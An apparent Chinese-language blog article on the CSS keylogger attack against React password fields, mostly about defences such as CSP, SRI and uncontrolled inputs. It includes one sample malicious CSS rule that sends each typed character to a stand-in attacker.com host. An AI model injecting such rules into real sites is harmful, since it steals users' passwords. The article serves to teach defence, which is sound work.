React 应用中的 CSS 键盘记录器攻击

React 应用中的 CSS 键盘记录器攻击

最近学习了 小满 zs 在网络安全领域分享的文章《网络安全（CSS 键盘记录器-React）》，文中在网络安全中输入法的攻击方式。文章举例：利用 CSS 特性窃取用户密码。本文将结合其技术原理，讲解攻击逻辑、影响范围及防御策略。

一、攻击原理与核心机制

该攻击的本质是利用 CSS 属性选择器 结合 React 的受控组件更新机制 实现密码窃取：

1. CSS 属性选择器陷阱
   攻击者注入恶意 CSS 规则，对每个可能的字符（如 a, 1, @）定义一条规则：

   input[type="password"][value$="a"] { 
     background-image: url("http://attacker.com/a");
   }
   /* 其他字符规则... */
   

   [value$="a"] 表示选择 value 属性值以 "a" 结尾的密码输入框。

2. React 受控组件的关键作用
   攻击仅对 React（或类 React 框架）有效，原因在于其 受控组件机制：

   • 用户每次按键触发 onChange 事件。
   • React 更新组件状态并将新值 同步回写 到 <input> 的 value DOM 属性。
   • 例如输入 "s" 时，React 会设置 <input type="password" value="s">。

3. 窃密过程触发
   当 value 属性被更新为以特定字符结尾时（如 "s"），对应的 CSS 规则被激活。浏览器尝试加载 background-image 指定的 URL（如 http://attacker.com/s），向攻击者服务器发送一个携带字符信息的 HTTP GET 请求。通过记录字符序列，攻击者即可还原完整密码。

二、现代 React 应用的风险现状

1. 技术原理依然存在
   React 受控组件的核心机制（状态驱动视图、同步更新 DOM 属性）未改变。只要应用使用受控密码输入框且加载了恶意 CSS，攻击理论上仍可生效。

2. 风险来源与缓解

   • 主要风险：恶意第三方 CSS/JS 库（通过供应链攻击、CDN 劫持、XSS 注入）。
   • 框架演进：React 未“修复”此机制，因其本质是框架特性（非漏洞）。
   • 开发者范式：对第三方资源引入更谨慎，CSP 等防护措施普及度提高。

三、攻击防御的关键策略

1. 严格管控第三方资源（最高优先级）

   • 内容安全策略 (CSP)：通过 style-src 指令限制 CSS 来源。

   Content-Security-Policy: style-src 'self' https://trusted.cdn.com;
   

   避免 'unsafe-inline'，防止内联恶意样式。

   • 子资源完整性 (SRI)：对 CDN 资源添加哈希校验，防止篡改。

   <link href="https://cdn.com/lib.css" 
         integrity="sha384-..." 
         crossorigin="anonymous" 
         rel="stylesheet">
   

   • 沙箱隔离：使用 <iframe> 隔离不可信第三方内容（如广告）。

2. 优化密码输入组件实现

   • 非受控组件：对纯密码输入框，使用 ref 替代 value 绑定（仅在提交时取值），避免实时更新 DOM 属性。

   const inputRef = useRef();
   // 提交时通过 inputRef.current.value 获取
   

   • 只读层+自定义输入：创建 readOnly 输入框，用自定义组件（如 Canvas/Div）处理输入（适用于高安全场景）。

3. 辅助安全措施

   • 监控异常请求（高频短路径请求如 /a, /b）。
   • 推荐用户使用密码管理器自动填充，减少击键次数。
   • 定期检查第三方依赖安全性。

四、总结

CSS 键盘记录器攻击揭示了前端安全的隐蔽性：即使未触发 XSS，仅通过样式表也能窃取敏感数据。其成功依赖两点：React 受控组件的 DOM 更新机制 和 恶意 CSS 的注入途径。

日常开发过程中需要注意：

1. 警惕第三方资源：严格实施 CSP 和 SRI。
2. 规范设计组件：对密码等敏感字段，特殊场景评估受控模式的必要性，可以选择采用非受控或混合方案。
3. 防御策略：结合代码审查、依赖扫描、网络监控等。

致谢与参考
本文技术分析基于 小满 zs 的原创研究《网络安全（CSS 键盘记录器-React）》。